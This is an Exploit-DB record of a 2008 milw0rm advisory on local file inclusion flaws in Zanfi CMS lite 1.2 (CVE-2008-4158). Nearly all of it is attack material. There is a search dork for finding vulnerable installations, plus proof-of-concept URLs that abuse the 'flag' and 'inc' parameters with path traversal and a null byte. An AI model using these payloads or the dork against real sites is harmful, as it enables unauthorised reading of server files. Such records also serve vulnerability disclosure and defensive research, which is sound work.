Zanfi CMS lite 1.2 - Multiple Local File Inclusion Vulnerabilities

2008-09-10T00:00:00
ID EDB-ID:6413
Type exploitdb
Reporter SirGod
Modified 2008-09-10T00:00:00

Description

Zanfi CMS lite 1.2 Multiple Local File Inclusion Vulnerabilities. CVE-2008-4158. Webapps exploit for php platform

                                        
                                            ############################################################################################################
[+]Zanfi CMS lite / Jaw Portal free (index.php page) Multiple Local File Inclusion
[+]Discovered by SirGod
[+]MorTal TeaM
[+]Greetz E.M.I.N.EM,Ras,Puscas_marin,ToxicBlood,HrN,Kemrayz,007m
############################################################################################################
 
[+] Dork : Powered by: Zanfi Solutions

[+] Local File Inclusion

   PoC :

    http://[target]/[Path]index.php?flag=[Local File]%00

   Example :

    http://127.0.0.1/index.php?flag=../../../autoexec.bat%00


   PoC :
 
    http://[target]/[Path]/index.php?inc=[Local File]%00

   Example :

    http://127.0.0.1/index.php?inc=../../../autoexec.bat%00

############################################################################################################

# milw0rm.com [2008-09-10]